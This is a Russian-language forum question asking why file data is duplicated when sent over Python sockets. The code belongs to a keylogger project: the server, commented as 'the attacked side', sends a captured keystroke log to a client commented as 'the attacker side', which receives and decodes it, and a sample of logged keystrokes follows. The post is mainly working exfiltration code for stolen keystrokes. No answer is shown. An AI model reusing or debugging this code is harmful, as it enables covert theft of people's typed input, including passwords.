Дублированная передача данных в розетке python - PullRequest
0 голосов
/ 19 июня 2020

Я пытаюсь передать файл с помощью сокетов и функции recv:

Sever (отправитель):

import socket, threading, os
from time import sleep

host, port = "XXX.XXX.X.XXX", 4444


    # This class describe the attacked side
    class transfer:
        mysocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        mysocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

        # starting the socket connection
        def __init__(self, logFile):
            self.mysocket.bind((host, port))
            print(' Server is ready ..')
            self.mysocket.listen(5)
            self.conn, self.addr = self.mysocket.accept()
            self.logFile = logFile
            self.size = os.path.getsize(self.logFile)
            print(' file size : {}'.format(str(self.size)))

        # sending the log file to the attacker
        def send_file(self):
            with open(self.logFile, 'rb') as file:
                data = file.read(1024)
                self.conn.send(data)
                while data != bytes(''.encode()):
                    # print(data)
                    data = file.read(1024)
                    self.conn.send(data)
                print(' File sent successfully.')

    Transfer = transfer('log.txt')

Client (the ресивер):

import socket, sys, threading, os
from src import base64cipher
from time import sleep

host, port = 'XXX.XXX.X.XXX', 4444


# Static function that decode the log.txt file
def decode_text():
    print(1)
    flog = open('log.txt', 'r')
    fdecrypt = open('decrypt_log.txt', 'a')
    for line in flog:
        print(1)
        fdecrypt.write(base64cipher.decodeMsg(line))
    fdecrypt.flush()
    os.fsync(fdecrypt.fileno())
    flog.close()
    fdecrypt.close()


# This class describe the attacker side
class recv_data:
    mysocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    mysocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    mysocket.connect((host, port))

    def __init__(self):
        # data = self.mysocket.recv(1024)
        f = open('log.txt', 'wb')
        while True:
            data = self.mysocket.recv(1024, False)
            # print(data)
            f.write(data)
            decode_text()
            # f.flush()


re = recv_data()

Проблема в том, что данные, отправленные внутри файла, дублируют себя (есть также кейлоггер сзади, который записывает в файл), когда они поступают в получатель:

Пример вывода:

(мой реальный результат был: привет, беги, свинья, дверь, работа, мир, задача, проблема, веселье, веселье)

H    328552484   keylogger-hack-python  base64cipher.py PyCharm 
E    328552890   keylogger-hack-python  base64cipher.py PyCharm 
L    328553125   keylogger-hack-python  base64cipher.py PyCharm 
L    328553250   keylogger-hack-python  base64cipher.py PyCharm 
O    328553578   keylogger-hack-python  base64cipher.py PyCharm 
Return   328554812   keylogger-hack-python  base64cipher.py PyCharm 
R    328555593   keylogger-hack-python  base64cipher.py PyCharm 
U    328555750   keylogger-hack-python  base64cipher.py PyCharm 
N    328556031   keylogger-hack-python  base64cipher.py PyCharm 
Return   328556953   keylogger-hack-python  base64cipher.py PyCharm 
P    328558000   keylogger-hack-python  base64cipher.py PyCharm 
I    328558281   keylogger-hack-python  base64cipher.py PyCharm 
G    328558593   keylogger-hack-python  base64cipher.py PyCharm 
Return   328559140   keylogger-hack-python  base64cipher.py PyCharm 
H    328552484   keylogger-hack-python  base64cipher.py PyCharm 
E    328552890   keylogger-hack-python  base64cipher.py PyCharm 
L    328553125   keylogger-hack-python  base64cipher.py PyCharm 
L    328553250   keylogger-hack-python  base64cipher.py PyCharm 
O    328553578   keylogger-hack-python  base64cipher.py PyCharm 
Return   328554812   keylogger-hack-python  base64cipher.py PyCharm 
R    328555593   keylogger-hack-python  base64cipher.py PyCharm 
U    328555750   keylogger-hack-python  base64cipher.py PyCharm 
N    328556031   keylogger-hack-python  base64cipher.py PyCharm 
Return   328556953   keylogger-hack-python  base64cipher.py PyCharm 
P    328558000   keylogger-hack-python  base64cipher.py PyCharm 
I    328558281   keylogger-hack-python  base64cipher.py PyCharm 
G    328558593   keylogger-hack-python  base64cipher.py PyCharm 
Return   328559140   keylogger-hack-python  base64cipher.py PyCharm 
D    328562875   keylogger-hack-python  base64cipher.py PyCharm 
O    328563234   keylogger-hack-python  base64cipher.py PyCharm 
O    328563515   keylogger-hack-python  base64cipher.py PyCharm 
R    328563968   keylogger-hack-python  base64cipher.py PyCharm 
Right    328565078   keylogger-hack-python  base64cipher.py PyCharm 
Return   328565593   keylogger-hack-python  base64cipher.py PyCharm 
H    328552484   keylogger-hack-python  base64cipher.py PyCharm 
E    328552890   keylogger-hack-python  base64cipher.py PyCharm 
L    328553125   keylogger-hack-python  base64cipher.py PyCharm 
L    328553250   keylogger-hack-python  base64cipher.py PyCharm 
O    328553578   keylogger-hack-python  base64cipher.py PyCharm 
Return   328554812   keylogger-hack-python  base64cipher.py PyCharm 
R    328555593   keylogger-hack-python  base64cipher.py PyCharm 
U    328555750   keylogger-hack-python  base64cipher.py PyCharm 
N    328556031   keylogger-hack-python  base64cipher.py PyCharm 
Return   328556953   keylogger-hack-python  base64cipher.py PyCharm 
P    328558000   keylogger-hack-python  base64cipher.py PyCharm 
I    328558281   keylogger-hack-python  base64cipher.py PyCharm 
G    328558593   keylogger-hack-python  base64cipher.py PyCharm 
Return   328559140   keylogger-hack-python  base64cipher.py PyCharm 
D    328562875   keylogger-hack-python  base64cipher.py PyCharm 
O    328563234   keylogger-hack-python  base64cipher.py PyCharm 
O    328563515   keylogger-hack-python  base64cipher.py PyCharm 
R    328563968   keylogger-hack-python  base64cipher.py PyCharm 
Right    328565078   keylogger-hack-python  base64cipher.py PyCharm 
Return   328565593   keylogger-hack-python  base64cipher.py PyCharm 
P    328570140   keylogger-hack-python  base64cipher.py PyCharm 
O    328570453   keylogger-hack-python  base64cipher.py PyCharm 
L    328570718   keylogger-hack-python  base64cipher.py PyCharm 
I    328570968   keylogger-hack-python  base64cipher.py PyCharm 
Y    328572562   keylogger-hack-python  base64cipher.py PyCharm 
A    328573140   keylogger-hack-python  base64cipher.py PyCharm 
Return   328574984   keylogger-hack-python  base64cipher.py PyCharm 
W    328576265   keylogger-hack-python  base64cipher.py PyCharm 
O    328576390   keylogger-hack-python  base64cipher.py PyCharm 
R    328576734   keylogger-hack-python  base64cipher.py PyCharm 
K    328576890   keylogger-hack-python  base64cipher.py PyCharm 
Return   328577296   keylogger-hack-python  base64cipher.py PyCharm 
W    328577906   keylogger-hack-python  base64cipher.py PyCharm 
O    328578031   keylogger-hack-python  base64cipher.py PyCharm 
R    328578437   keylogger-hack-python  base64cipher.py PyCharm 
L    328578609   keylogger-hack-python  base64cipher.py PyCharm 
D    328578859   keylogger-hack-python  base64cipher.py PyCharm 
Return   328579328   keylogger-hack-python  base64cipher.py PyCharm 
H    328552484   keylogger-hack-python  base64cipher.py PyCharm 
E    328552890   keylogger-hack-python  base64cipher.py PyCharm 
L    328553125   keylogger-hack-python  base64cipher.py PyCharm 
L    328553250   keylogger-hack-python  base64cipher.py PyCharm 
O    328553578   keylogger-hack-python  base64cipher.py PyCharm 
Return   328554812   keylogger-hack-python  base64cipher.py PyCharm 
R    328555593   keylogger-hack-python  base64cipher.py PyCharm 
U    328555750   keylogger-hack-python  base64cipher.py PyCharm 
N    328556031   keylogger-hack-python  base64cipher.py PyCharm 
Return   328556953   keylogger-hack-python  base64cipher.py PyCharm 
P    328558000   keylogger-hack-python  base64cipher.py PyCharm 

что может вызвать проблема?

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...